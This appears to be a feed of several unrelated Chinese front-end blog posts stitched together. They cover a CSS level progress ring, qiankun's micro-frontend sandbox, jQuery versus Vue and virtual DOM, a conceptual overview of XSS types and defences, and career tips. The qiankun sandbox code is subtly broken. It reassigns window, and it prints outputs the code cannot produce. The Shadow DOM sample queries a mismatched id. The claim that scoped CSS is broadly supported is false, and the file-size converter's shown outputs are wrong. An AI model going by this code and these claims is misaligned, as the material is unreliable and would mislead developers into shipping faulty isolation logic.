VeryCapture_20241015094146.gif



原理拆解


原理拆解.png



  1. 环形进度条:使用上下两个相同大小的圆间隔一定距离覆盖得到一条圆环

  2. 进度条渐变及进度控制:通过一个从左至右渐变的矩形覆盖在圆环上,然后通过css变量动态控制矩形的宽度实现进度控制

  3. 等级旋转切换:将等级按照指定间隔角度定位到圆的边上,通过改变圆的旋转角度实现等级旋转切换


源码实现


<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}

.position-center {
position: absolute;
left: 50%;
transform: translateX(-50%);
bottom: 0;
}

.container {
--height: 20vh;
--progress: 0;

width: 100%;
height: var(--height);
position: relative;
overflow: hidden;

.inner {
width: 200%;
height: calc(var(--height) * 2);
background-color: #2f2f2f;
border-radius: 50%;
overflow: hidden;

.circle {
width: calc(var(--height) * 6.5);
height: calc(var(--height) * 6.5);
border-radius: 50%;
}

.circle-bottom {
bottom: 12%;
overflow: hidden;
padding: 25% 15% 0 15%;
background-color: #535353;

.circle-mask {
width: calc(var(--progress) * 1%);
height: 100%;
background-image: linear-gradient(to right, rgba(31, 231, 236, .3), rgba(31, 231, 236, .7));
transition: all .3s ease-in-out;
}
}

.circle-top {
background-color: #2f2f2f;
bottom: 13%;
padding: 27% 15% 0 15%;

color: #fff;
display: flex;
justify-content: space-around;
align-items: flex-end;
}

.circle-main {
width: calc(var(--height) * 6.5);
height: calc(var(--height) * 6.5);
border-radius: 50%;
transition: all .3s ease-in-out;
transform: translateX(-50%) rotate(0deg);

.item {
--rotate: 0;
position: absolute;
height: 100%;
display: flex;
justify-content: center;
align-items: flex-end;
top: 50%;
left: 50%;
transform: translate(-50%, -50%) rotate(calc(var(--rotate) * -1deg));

.item-inner {
display: flex;
flex-direction: column;
align-items: center;
position: relative;
bottom: -30px;
font-size: 14px;
color: #ccc;

.point {
width: 7px;
height: 7px;
background-color: #fff;
border-radius: 50%;
margin-top: 4px;
box-shadow: 0 0 10px rgba(255, 255, 255, 0.8);


&::before {
content: '';
width: 12px;
height: 12px;
border-radius: 50%;
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}
}

.label-bottom {
margin-top: 5px;
}
}

.active {
.point {
background-color: rgba(31, 231, 236, 1);

&::before {
background-color: rgba(31, 231, 236, 0.3);
}
}
}
}
}
}
}

.btns {
position: absolute;
bottom: 500px;
left: 50%;
transform: translateX(-50%);
button {
color: #1fe7ec;
border: 1px solid #1fe7ec;
background-color: transparent;
padding: 4px 15px;
border-radius: 4px;
font-size: 14px;
}
}
</style>
</head>

<body>
<div id="container" class="container" style="--progress: 33.33">
<div class="inner position-center">
<div class="circle circle-bottom position-center">
<div class="circle-mask"></div>
</div>
<div class="circle circle-top position-center">
<div id="circle" class="circle-main position-center">
<div class="item" style="--rotate: -15;">
<div class="item-inner active">
<div class="label-top">10-15w</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V1</div>
</div>
</div>
<div class="item" style="--rotate: 0;">
<div class="item-inner">
<div class="label-top">15-20w</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V2</div>
</div>
</div>
<div class="item" style="--rotate: 15;">
<div class="item-inner">
<div class="label-top">20w+</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V3</div>
</div>
</div>
<div class="item" style="--rotate: 30;">
<div class="item-inner">
<div class="label-top">30w+</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V4</div>
</div>
</div>
<div class="item" style="--rotate: 45;">
<div class="item-inner">
<div class="label-top">50w+</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V5</div>
</div>
</div>
</div>
</div>
</div>
</div>

<div class="btns">
<button onclick="prev()">上一个</button>
<button onclick="next()">下一个</button>
</div>

<script>
const container = document.getElementById('container')
const circle = document.getElementById('circle')
const max = circle.children.length

let currentIndex = 0

const acitve = () => {
const items = circle.querySelectorAll('.item')
items.forEach((item, index) => {
const itemInner = item.querySelector('.item-inner')
if (index === currentIndex) {
itemInner.classList.add('active')
} else {
itemInner.classList.remove('active')
}
})
}
const next = () => {
if (currentIndex < max - 1) {
currentIndex += 1
}

if (currentIndex < max - 1) {
container.style.setProperty('--progress', 50)
circle.style.transform = `translateX(-50%) rotate(${15 * (currentIndex - 1)}deg)`
} else {
container.style.setProperty('--progress', 100)
}

acitve()
}

const prev = () => {
if (currentIndex > 0) {
currentIndex -= 1
}

if (currentIndex > 0) {
container.style.setProperty('--progress', 50)
circle.style.transform = `translateX(-50%) rotate(${15 * (currentIndex - 1)}deg)`
} else {
container.style.setProperty('--progress', 33.33)
}

acitve()
}
</script>
</body>

</html>

作者:zhangsantx
来源:juejin.cn/post/7425227672422268943
收起阅读 »

乾坤(qiankun)实现沙箱机制,看这篇就够了

web
乾坤(Qiankun)是一个微前端框架,它通过沙箱机制来隔离各个微应用,确保它们在同一个页面中不会相互干扰。以下是乾坤实现沙箱的主要技术和步骤: 一,沙箱实现原理 全局变量隔离: 乾坤通过代理(Proxy)对象来拦截和管理全局变量(如 window 对象)...
继续阅读 »

乾坤(Qiankun)是一个微前端框架,它通过沙箱机制来隔离各个微应用,确保它们在同一个页面中不会相互干扰。以下是乾坤实现沙箱的主要技术和步骤:


一,沙箱实现原理



  1. 全局变量隔离



    • 乾坤通过代理(Proxy)对象来拦截和管理全局变量(如 window 对象)的读写操作,从而实现全局变量的隔离。

    • 当微应用尝试访问或修改全局变量时,沙箱会捕获这些操作并进行处理,确保不会影响其他微应用。



  2. 样式隔离



    • 乾坤使用 Shadow DOM 或 scoped CSS 来隔离微应用的样式,防止样式冲突。

    • 对于不支持 Shadow DOM 的浏览器,乾坤会通过 CSS 前缀或其他方式来实现样式隔离。



  3. 事件隔离



    • 乾坤会拦截和管理全局事件(如 clickresize 等),确保事件不会跨微应用传播。

    • 通过事件代理和事件委托,实现事件的精确控制和隔离。



  4. 生命周期管理



    • 乾坤为每个微应用定义了详细的生命周期钩子,包括 bootstrapmount 和 unmount,确保微应用在不同阶段的行为可控。

    • 在 unmount 阶段,乾坤会清理微应用的全局变量、事件监听器等,确保微应用卸载后不会留下残留。




沙箱机制代码实现示例


以下是一个简单的示例,展示了乾坤如何通过 Proxy 对象实现全局变量隔离:


// 沙箱类
class Sandbox {
constructor() {
this.originalWindow = window; // 保存原始的 window 对象
this.proxyWindow = new Proxy(window, {
get: (target, key) => {
// 检查是否已经存在隔离的变量
if (this[key] !== undefined) {
return this[key];
}
return target[key];
},
set: (target, key, value) => {
// 检查是否已经存在隔离的变量
if (this[key] !== undefined) {
this[key] = value;
return true;
}
target[key] = value;
return true;
}
});
}

activate() {
// 激活沙箱,将 window 替换为 proxyWindow
window = this.proxyWindow;
}

deactivate() {
// 恢复原始的 window 对象
window = this.originalWindow;
}

clear() {
// 清理沙箱中的所有变量
for (const key in this) {
if (this.hasOwnProperty(key) && key !== 'originalWindow' && key !== 'proxyWindow') {
delete this[key];
}
}
}
}

// 使用沙箱
const sandbox = new Sandbox();

// 激活沙箱
sandbox.activate();

// 模拟微应用的全局变量操作
window.myVar = 'Hello, Qiankun!';

// 检查沙箱中的全局变量
console.log(sandbox.myVar); // 输出: Hello, Qiankun!

// 恢复原始的 window 对象
sandbox.deactivate();

// 清理沙箱
sandbox.clear();

// 检查原始的 window 对象
console.log(window.myVar); // 输出: undefined

代码详细解释



  1. 构造函数



    • constructor 中保存了原始的 window 对象,并创建了一个 Proxy 对象 proxyWindow,用于拦截对 window 的访问。



  2. 拦截读取操作



    • get 方法拦截对 window 对象属性的读取操作。如果沙箱中已经存在该属性,则返回沙箱中的值;否则返回原始 window 对象中的值。



  3. 拦截写入操作



    • set 方法拦截对 window 对象属性的写入操作。如果沙箱中已经存在该属性,则更新沙箱中的值;否则更新原始 window 对象中的值。



  4. 激活和恢复



    • activate 方法将 window 替换为 proxyWindow,激活沙箱。

    • deactivate 方法将 window 恢复为原始的 window 对象,退出沙箱。



  5. 清理



    • clear 方法清理沙箱中的所有变量,确保微应用卸载后不会留下残留。




优势



  • 隔离性:通过 Proxy 拦截,确保微应用对全局变量的读写操作不会影响其他微应用。

  • 灵活性:可以在 get 和 set 方法中添加更多的逻辑,例如日志记录、权限检查等。

  • 透明性:对微应用来说,使用 window 对象的体验与未使用沙箱时相同,无需修改微应用的代码。


通过这种方式,乾坤等微前端框架能够有效地隔离各个微应用的全局变量,确保它们在同一个页面中稳定运行。


使用 Proxy 对象拦截和管理全局变量的读写操作


使用 Proxy 对象拦截和管理全局变量的读写操作是实现沙箱机制的一种常见方法。Proxy 是 JavaScript 提供的一个内置对象,用于定义自定义行为(也称为陷阱,traps)来拦截并控制对目标对象的操作。在微前端框架中,Proxy 可以用来拦截对 window 对象的访问,从而实现全局变量的隔离。


详细步骤



  1. 创建 Proxy 对象



    • 使用 new Proxy(target, handler) 创建一个 Proxy 对象,其中 target 是要拦截的目标对象(通常是 window),handler 是一个对象,定义了各种拦截操作的自定义行为。



  2. 定义拦截行为



    • handler 对象中可以定义多种拦截操作,例如 getsetapplyconstruct 等。这里主要关注 get 和 set 方法,用于拦截对全局变量的读取和写入操作。



  3. 激活和恢复 Proxy



    • 在微应用启动时激活 Proxy,在微应用卸载时恢复原始的 window 对象。




二,Shadow DOM


Shadow DOM 是一种 Web 技术,允许你在文档中创建独立的 DOM 树,并将其附加到一个元素上。这些独立的 DOM 树与主文档的其余部分隔离,因此可以避免样式和脚本的冲突。


实现步骤



  1. 创建 Shadow Root



    • 为每个微应用的根元素创建一个 Shadow Root。



  2. 插入样式



    • 将微应用的样式插入到 Shadow Root 中,而不是主文档的 <head> 中。



  3. 插入内容



    • 将微应用的内容插入到 Shadow Root 中。




Shadow Dom示例代码


!-- HTML 结构 -->
<div id="app-root"></div>
<script>
// 获取微应用的根元素
const rootElement = document.getElementById('micri-app-root');

// 创建 Shadow Root
const shadowRoot = rootElement.attachShadow({ mode: 'open' });

// 插入样式
const style = document.createElement('style');
style.textContent = `
.app-header {
background-color: blue;
color: white;
}
`;
shadowRoot.appendChild(style);

// 插入内容
const content = document.createElement('div');
content.className = 'app-header';
content.textContent = 'Hello, Qiankun!';
shadowRoot.appendChild(content);
</script>

三,Scoped CSS


Scoped CSS 是一种在 HTML 中为特定组件或部分定义样式的机制。通过在 <style> 标签中使用 scoped 属性,可以确保样式仅应用于当前元素及其子元素。


Scoped CSS实现步骤



  1. 创建带有 scoped 属性的 <style> 标签



    • 在微应用的根元素内部创建一个带有 scoped 属性的 <style> 标签。



  2. 插入样式



    • 将微应用的样式插入到带有 scoped 属性的 <style> 标签中。



  3. 插入内容



    • 将微应用的内容插入到根元素中。




Scoped CSS示例代码


<!-- HTML 结构 -->
<div id="micro-app-root">
<style scoped>
.app-header {
background-color: blue;
color: white;
}
</style>
<div class="app-header">Hello, Qiankun!</div>
</div>

通过使用 Shadow DOM 和 scoped CSS,乾坤能够有效地隔离微应用的样式,防止样式冲突。这两种方法各有优缺点:



  • Shadow DOM



    • 优点:完全隔离,不会受到外部样式的影响。

    • 缺点:浏览器兼容性稍差,某些旧浏览器不支持。



  • Scoped CSS



    • 优点:兼容性好,大多数现代浏览器都支持。

    • 缺点:样式隔离不如 Shadow DOM 完全,可能会受到一些外部样式的影响。




根据具体需求和项目环境,可以选择适合的样式隔离方式。


总结


乾坤通过以下技术实现了微应用的沙箱隔离:



  • 全局变量隔离:使用 Proxy 对象拦截和管理全局变量的读写操作。

  • 样式隔离:使用 Shadow DOM 或 scoped CSS 防止样式冲突。

  • 事件隔离:拦截和管理全局事件,确保事件不会跨微应用传播。

  • 生命周期管理:定义详细的生命周期钩子,确保微应用在不同阶段的行为可控。


通过这些机制,乾坤能够有效地隔离各个微应用,确保它们在同一个页面中稳定运行。


PS:学会了记得,点赞,评论,收藏,分享


作者:AndyGoWei
来源:juejin.cn/post/7431455846150242354
收起阅读 »

为什么JQuery会被淘汰?Vue框架就一定会比JQuery好吗?

web
前言 曾经面试时碰到过一个问题:为什么现有的Vue框架开发可以淘汰之前的JQuery? 我回答:Vue框架无需自己操作DOM,可以避免自己频繁的操作DOM 面试官接着反问我:Vue框架无需自己操作DOM,有什么优势吗,不用操作DOM就一定是好的吗? 我懵了,在...
继续阅读 »

前言


曾经面试时碰到过一个问题:为什么现有的Vue框架开发可以淘汰之前的JQuery?


我回答:Vue框架无需自己操作DOM,可以避免自己频繁的操作DOM


面试官接着反问我:Vue框架无需自己操作DOM,有什么优势吗,不用操作DOM就一定是好的吗?


我懵了,在我的认知里Vue框架无需自己操作DOM性能是一定优于自己来操作DOM元素的,其实并不是的.....


声明式框架与命令式框架


首先我们得了解声明式框架和命令式框架的区别


命令式框架关注过程


JQuery就是典型的命令式框架


例如我们来看如下一段代码


$( "button.continue" ).html( "Next Step..." ).on('click', () => { alert('next') })

这段代码的含义就是先获取一个类名为continue的button元素,它的内容为 Next Step...,并为它绑定一个点击事件。可以看到自然语言描述与代码是一一对应的,这更符合我们做事的逻辑


声明式框架更关注结果


现有的Vue,React都是典型的声明式框架


接着来看一段Vue的代码


<button class="continue" @click="() => alert('next')">Next Step...</button>

这是一段类HTML模板,它更像是直接提供一个结果。至于怎么实现这个结果,就交给Vue内部来实现,开发者不用关心


性能比较


首先告诉大家结论:声明式代码性能不优于命令式代码性能


即:声明式代码性能 <= 命令式代码性能


为什么会这样呢?


还是拿上面的代码举例


假设我们要将button的内容改为 pre Step,那么命令式的实现就是:


button.textContent = "pre Step"

很简单,就是直接修改


声明式的实现就是:


<!--之前 -->
<button class="continue" @click="() => alert('next')">Next Step...</button>
<!--现在 -->
<button class="continue" @click="() => alert('next')">pre Step</button>

对于声明式框架来说,它需要找到更改前后的差异并只更新变化的地方。但是最终更新的代码仍然是


button.textContent = "pre Step"

假设直接修改的性能消耗为 A, 找出差异的性能消耗为 B,
那么就有:



  • 命令式代码的更新性能消耗 = A

  • 声明式代码的更新性能消耗 = A + B


可以看到声明式代码永远要比命令式代码要多出找差异的性能消耗


那既然声明式代码的性能无法超越命令式代码的性能,为什么我们还要选择声明式代码呢?这就要考虑到代码可维护性的问题了。当项目庞大之后,手动完成dom的创建,更新与删除明显需要更多的时间和精力。而声明式代码框架虽然牺牲了一点性能,但是大大提高了项目的可维护性降低了开发人员的心智负担


那么,有没有办法能同时兼顾性能和可维护性呢?
有!那就是使用虚拟dom


虚拟Dom


首先声明一个点,命令式代码只是理论上会比声明式代码性能高。因为在实际开发过程中,尤其是项目庞大之后,开发人员很难写出绝对优化的命令式代码。
而Vue框架内部使用虚拟Dom + 内部封装Dom元素操作的方式,能让我们不用付出太多精力的同时,还能保证程序的性能下限,甚至逼近命令式代码的性能


在讨论虚拟Dom的性能之前,我们首先要说明一个点:JavaScript层面的计算所需时间要远低于Dom层面的计算所需时间 看过浏览器渲染与解析机制的同学应该很明白为什么会这样。


我们在使用原生JavaScript编写页面时,很喜欢使用innerHTML,这个方法非常特殊,下面我们来比较一下使用虚拟Dom和使用innerHTML的性能差异


创建页面时


我们在使用innerHTML创建页面时,通常是这样的:


const data = "hello"
const htmlString = `<div>${data}</div>`
domcument.querySelect('.target').innerHTML = htmlString

这个过程需要先通过JavaScript层的字符串运算,然后是Dom层的innerHTML的Dom运算 (将字符串赋值给Dom元素的innerHTML属性时会将字符串解析为Dom树)


而使用虚拟Dom的方式通常是编译用户编写的类html模板得到虚拟Dom(JavaScript对象),然后遍历虚拟Dom树创建真实Dom对象


两者比较:


innerHTML虚拟Dom
JavaScript层面运算计算拼接HTML字符串创建JavaScript对象(虚拟Dom)
Dom层面运算新建所有Dom元素新建所有Dom元素

可以看到两者在创建页面阶段的性能差异不大。尽管在JavaScript层面,创建虚拟Dom对象貌似更耗时间,但是总体来说,Dom层面的运算是一致的,两者属于同一数量级,宏观来看可认为没有差异


更新页面时


使用innerHTML更新页面,通常是这样:


//更新
const newData = "hello world"
const newHtmlString = `<div>${newData}</div>`
domcument.querySelect('.target').innerHTML = newHtmlString

这个过程同样是先通过JavaScript层的字符串运算,然后是Dom层的innerHTML的Dom运算。但是它在Dom层的运算是销毁所有旧的DOM元素,再全量创建新的DOM元素


而使用虚拟Dom的方式通常是重新创建新的虚拟Dom(JavaScript对象),然后比较新旧虚拟Dom,找到需要更改的地方并更新Dom元素


两者比较:


innerHTML虚拟Dom
JavaScript层面运算计算拼接HTML字符串创建JavaScript对象(虚拟Dom)+ Diff算法
Dom层面运算销毁所有旧的Dom元素,新建所有新的DOM元素必要的DOM更新

可以看到虚拟DOM在JavaScript层面虽然多出一个Diff算法的性能消耗,但这毕竟是JavaScript层面的运算,不会产生数量级的差异。而在DOM层,虚拟DOM可以只更新差异部分,对比innerHTML的全量卸载与全量更新性能消耗要小得多。所以模板越大,元素越多,虚拟DOM在更新页面的性能上就越有优势


总结


现在我们可以回答这位面试官的问题了:JQuery属于命令式框架,Vue属于声明式框架。在理论上,声明式代码性能是不优于命令式代码性能的,甚至差于命令式代码的性能。但是声明式框架无需用户手动操作DOM,用户只需关注数据的变化。声明式框架在牺牲了一点性能的情况下,大大降低了开发难度,提高了项目的可维护性,且声明式框架通常使用虚拟DOM的方式,使其在更新页面时的性能大大提升。综合来说,声明式框架仍旧是更好的选择


作者:yep
来源:juejin.cn/post/7425121392738615350
收起阅读 »

盘点下web常见的攻击方式 --- XSS篇

web
前言 Web攻击(WebAttack)是针对用户上网行为或网站服务器等设备进行攻击的行为,如植入恶意代码,修改网站权限,获取网站用户隐私信息等等。 常见的Web攻击方式有以下几种 XSS (Cross Site Scripting) 跨站脚本攻击 CSRF(...
继续阅读 »

前言


Web攻击(WebAttack)是针对用户上网行为或网站服务器等设备进行攻击的行为,如植入恶意代码,修改网站权限,获取网站用户隐私信息等等。


常见的Web攻击方式有以下几种



  • XSS (Cross Site Scripting) 跨站脚本攻击

  • CSRF(Cross-site request forgery)跨站请求伪造

  • SQL注入攻击


本文主要讲解XSS方面。


XSS是什么


XSS,跨站脚本攻击,允许攻击者将恶意代码植入到提供给其它用户使用的页面中。 它涉及到三方,即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以借助合法用户的身份信息与网站进行交互。


XSS 有哪些类型


根据攻击的来源,XSS攻击可以分成:



  • 存储型

  • 反射型

  • DOM 型


存储型XSS


存储型XSS的攻击步骤:



  1. 攻击者将恶意代码提交到目标网站的数据库中

  2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器

  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行

  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作


这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。


反射型XSS


反射型XSS的攻击步骤:



  1. 攻击者构造出特殊的URL,其中包含恶意代码

  2. 用户打开带有恶意代码的URL 时,网站服务端将恶意代码从URL中取出,拼接在HTML中返回给浏览器

  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行

  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作


区别:



  • 存储型XSS的恶意代码存在数据库里,反射型XSS的恶意代码存在URL里。


反射型XSS漏洞常见于通过URL传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。


DOMXSS


DOMXSS的攻击步骤:



  1. 攻击者构造出特殊的URL,其中包含恶意代码

  2. 用户打开带有恶意代码的URL

  3. 用户浏览器接收到响应后解析执行,前端JavaScript取出URL中的恶意代码并执行

  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作


区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。


如何对XSS攻击进行预防呢?


通过前面介绍,看到XSS攻击的两方面:



  • 攻击者提交恶意代码

  • 浏览器执行恶意代码


针对这两个方面就可以得出几条预防措施:



  1. 输入验证与过滤:

  2. 输出编码:

  3. 使用安全框架和工具:

  4. 实施内容安全策略(CSP):


1.输入验证与过滤:


确保对所有用户输入的数据进行严格验证和过滤,包括表单提交、URL 参数、Cookie 等。使用白名单过滤机制,只允许特定的字符和标签通过,过滤掉所有潜在的恶意代码。这样可以防止攻击者向应用程序提交恶意脚本。


2.输出编码:


在将用户数据输出到 HTML 页面时,使用适当的编码方式对数据进行转义,确保浏览器不会将其解析为可执行的脚本。常用的编码方式包括 HTML 实体编码(例如将 < 转换为 &lt;)和 JavaScript 编码(例如将 ' 转换为 ')。这样可以防止恶意脚本在用户浏览器中执行。


3.使用安全框架和工具:


利用现有的安全框架和工具来帮助检测和防御 XSS 攻击。例如,可以使用 Web 应用程序防火墙(WAF)来检测恶意请求,并且可以配置特定的规则来防止 XSS 攻击。还可以使用专门的 XSS 过滤器来检测和过滤潜在的 XSS 攻击载荷。


4.实施内容安全策略(CSP):


内容安全策略(Content Security Policy,CSP)是一种通过 HTTP 头部来控制页面加载资源的策略,可以有效减轻 XSS 攻击的风险。通过 CSP,可以限制页面加载的资源来源,包括脚本、样式表、图片等,从而防止恶意脚本的执行。


作者:笨鸟更要先飞
来源:juejin.cn/post/7350143110495846450
收起阅读 »

只写后台管理的前端要怎么提升自己

web
本人写了五年的后台管理。每次面试前就会头疼,因为写的页面除了表单就是表格。抱怨过苦恼过也后悔过,但是站在现在的时间点回想以前,发现有很多事情可以做的更好,于是有了这篇文章。 写优雅的代码 一道面试题 大概两年以前,面试美团的时候,面试官让我写一道代码题,时间单...
继续阅读 »

本人写了五年的后台管理。每次面试前就会头疼,因为写的页面除了表单就是表格。抱怨过苦恼过也后悔过,但是站在现在的时间点回想以前,发现有很多事情可以做的更好,于是有了这篇文章。


写优雅的代码


一道面试题


大概两年以前,面试美团的时候,面试官让我写一道代码题,时间单位转换。具体的题目我忘记了。


原题目我没做过,但是我写的业务代码代码里有类似的单位转换,后端返回一个数字,单位是kb,而我要展示成 KBMB 等形式。大概写一个工具函数(具体怎么写的忘记了,不过功能比这个复杂点):


function formatSizeUnits(kb) {
let units = ['KB', 'MB', 'GB', 'TB', 'PB'];
let unitIndex = 0;

while (kb >= 1024 && unitIndex < units.length - 1) {
kb /= 1024;
unitIndex++;
}

return `${kb.toFixed(2)} ${units[unitIndex]}`;
}

而在此之前,是一个后端同学写的代码(说起来,后台管理系统前端人力不够后端帮忙写好像是常规操作,后端总觉得写前端简单,而我只能说你们那代码写的,一言难尽……),如下:


function formatSizeUnits(kb) {
var result = '';

if (kb < 1024) {
result = kb + ' KB';
} else if (kb < 1024 * 1024) {
result = (kb / 1024).toFixed(2) + ' MB';
} else if (kb < 1024 * 1024 * 1024) {
result = (kb / 1024 / 1024).toFixed(2) + ' GB';
} else {
result = (kb / 1024 / 1024 / 1024).toFixed(2) + ' TB';
}

return result;
}

虽然功能都一样,但是我写在面试的时候写了上面的代码得到了面试官的赞扬,也因此非常顺利的通过了面试。而如果我写成了下面的样子,估计不会有这种效果。


如何提升代码质量


想提升代码质量,最理想的是靠 code review ,但实际上这玩意在大多数公司根本就不存在。其次就只能多看看大佬们写的代码,但是一来后台管理本来就没太大难度很少有大佬,二来很多时候一个后台管理系统就一两个人负责。


还好现在有了各种 AI 工具,可以非常方便的优化自己的代码了。


还是上面的问题,看看 GPT 给的答案


// 提问:写一个工具函数,对文件大小的单位进行转换,加注释
// 回答:下面是一个JavaScript工具函数,它接受文件大小、初始单位、目标单位和小数位数,然后返回目标单位下的文件大小。

/**
* 将文件大小从一个单位转换为另一个单位。
*
* @param {number} size 文件大小。
* @param {string} fromUnit 初始单位('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB')。
* @param {string} toUnit 目标单位('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB')。
* @param {number} [decimalPoint=2] 结果保留的小数位数,默认为2。
* @return {string} 转换后的文件大小,带单位。
*/

function convertFileSize(size, fromUnit, toUnit, decimalPoint = 2) {
// 定义单位与字节之间的转换关系
const units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
// 获取初始单位和目标单位的索引
const fromIndex = units.indexOf(fromUnit);
const toIndex = units.indexOf(toUnit);

// 如果单位不在列表中,抛出错误
if (fromIndex === -1 || toIndex === -1) {
throw new Error('Invalid units');
}

// 计算初始单位与目标单位之间的转换系数
const exponent = toIndex - fromIndex;
// 计算结果大小
const resultSize = size / Math.pow(1024, exponent);

// 返回格式化后的结果
return parseFloat(resultSize.toFixed(decimalPoint)) + ' ' + toUnit;
}

// 示例使用
console.log(convertFileSize(1, 'GB', 'MB')); // 输出: 1024.00 MB
console.log(convertFileSize(1, 'MB', 'KB')); // 输出: 1024.00 KB
console.log(convertFileSize(1, 'KB', 'B')); // 输出: 1024.00 B
console.log(convertFileSize(1, 'MB', 'GB', 5)); // 输出: 0.00098 GB

还能说什么,我只能说 NB!(经评论区提示,此段代码可能有问题,建议大家在使用AI工具时,重点是借鉴思路,直接使用代码需要谨慎~)


我现在每次写大段逻辑之后都习惯拿给 AI 看看,有什么更好的实现方式,或者用什么设计模式。AI 是非常低成本且高效提升代码质量的工具。


学会封装


一个功能用到了好多次,为什么不封装成组件?一个组件用到了好几个项目,为什么不单独写个npm包?差不多的项目创建了好几个,为什么不封装成脚手架?


你说,没时间,没必要,复制粘贴反而更快。


那你就完全没理解,这么做不一定是为了让工作更快完成,而是可以让你在年年终述职时更有话说(你就算写了一百个表单表格没有写一个脚手架更值得炫耀),如果不会写可以问问 AI。


而当你真正开始封装组件,开始写工具库了,你会发现你需要思考的确实比之前多了。


关注业务


对于前端业务重要吗?


相比于后端来说,前端一般不会太关注业务。就算出了问题大部分也是后端的问题。


但是就我找工作的经验,业务非常重要!


如果你做的工作很有技术含量,比如你在做低代码,你可以面试时讲一个小时的技术难点。但是你只是一个破写后台管理,你什么都没有的说。这个时候,了解业务就成为了你的亮点。


一场面试


还是拿真实的面试场景举例,当时前同事推我字节,也是我面试过N次的梦中情厂了,刚好那个组做的业务和我之前呆的组做的一模一样。



  • 同事:“做的东西和咱们之前都是一样的,你随便走个过场就能过,我在前端组长面前都夸过你了!”

  • 我:“好嘞!”


等到面试的时候:



  • 前端ld:“你知道xxx吗?(业务名词)”

  • 我:“我……”

  • 前端ld:“那xxxx呢?(业务名词)”

  • 我:“不……”

  • 前端ld:“那xxxxx呢??(业务名词)”

  • 我:“造……”


然后我就挂了………………


如何了解业务



  1. 每次接需求的时候,都要了解需求背景,并主动去理解


    我们写一个表格简简单单,把数据展示出来就好,但是表格中的数据是什么意思呢?比如我之前写一个 kafka 管理平台,里面有表格表单,涉及什么 cluster controller topic broker partition…… 我真的完全不了解,很后悔我几年时间也没有耐下心来去了解。


  2. 每次做完一个需求,都需要了解结果


    有些时候,后台管理的团队可能根本没有PM,那你也要和业务方了解,这个功能做了之后,多少人使用,效率提高了吗?数据是怎样的?


  3. 理解需求,并主动去优化


    产品要展示一千条数据,你要考虑要不要分页,不分页会不会卡,要不要上虚拟表格?


    产品要做一个可拖拽表单,你要考虑是否需要拖动,是否需要配置。


    其实很多时候,产品的思维可能会被局限在竞品的实现方式,而前端可以给TA更多选项。在和产品沟通的时候,你不仅是沟通页面的实现,也更能理解业务。



关注源码


说到源码, Vue,React 这些基本是每次必问,也有太多大佬们的总结我就不多说了。


除此之外,我想大家每次面试应该都会被问,你写了什么亮点的项目,困难的项目,你会说什么?哦,都是表单表格,都用 Element UI 实现的,没什么难度。那估计你面试也就到这里了。


那说什么,后台管理就这些啊?!


如果你用了 Element UI 你可以说写了什么自定义 Element UI 表单组件,Element UI 表单源码是什么原理,怎么通信的?用了 Axios 可以说 Axios 的原理,它的拦截器怎么实现的?用了编辑器 diff 那你知道 diff 算法是什么吗?用了 ECharts 那你知道他底层是用什么绘制的吗?用了 husky ?husky的原理是什么?用了Vite,它为什么快?是怎么打包的?写过插件吗?


可能有人觉得我离谱,事实上上面每一个问题都是我在面试中真实被问到的。当然,如果全部去了解,肯定不现实,每个人的精力有限,不可能每个用到的每个工具每个库都去了解原理,不过只要有一两个你去了解过,就可以在面试中引导面试官来问,要学会表现出你擅长的点


至于怎么读源码?以前我不知道,现在嘛…… 为什么不问问神奇的 ChatGPT 呢?



讲一下 Axios 源码中,拦截器是怎么实现的?


Axios 的拦截器实现基于 Axios 的核心原理,即 Axios 实例是一个包含请求和响应拦截器堆栈的对象。当发出请求或接收响应时,Axios 会遍历这些拦截器,并按照添加的顺序执行请求拦截器,以及按照相反的顺序执行响应拦截器。


在 Axios 的源码中,拦截器是通过一个 AxiosInterceptorManager 实例来管理的,它维护了一个拦截器数组。每个拦截器都是一个包含 fulfilledrejected 函数的对象。这两个函数分别对应于拦截器成功处理和拦截器处理出错的情况。


以下是 Axios 拦截器管理器的一个简化版本,展示了其核心实现思路:


class InterceptorManager {
constructor() {
this.handlers = []; // 存储拦截器的数组
}

use(fulfilled, rejected) {
this.handlers.push({
fulfilled: fulfilled,
rejected: rejected
});
return this.handlers.length - 1; // 返回拦截器的ID
}

eject(id) {
if (this.handlers[id]) {
this.handlers[id] = null; // 移除拦截器
}
}

forEach(fn) {
this.handlers.forEach((h) => {
if (h !== null) {
fn(h);
}
});
}
}

在发送请求或接收响应时,Axios 会创建一个 promise 链,并通过 forEach 方法将拦截器中的 fulfilledrejected 函数添加到这个链中。这样,每个拦截器都可以对请求或响应进行处理,然后将结果传递到链的下一个拦截器,或者在出错时结束链的执行。


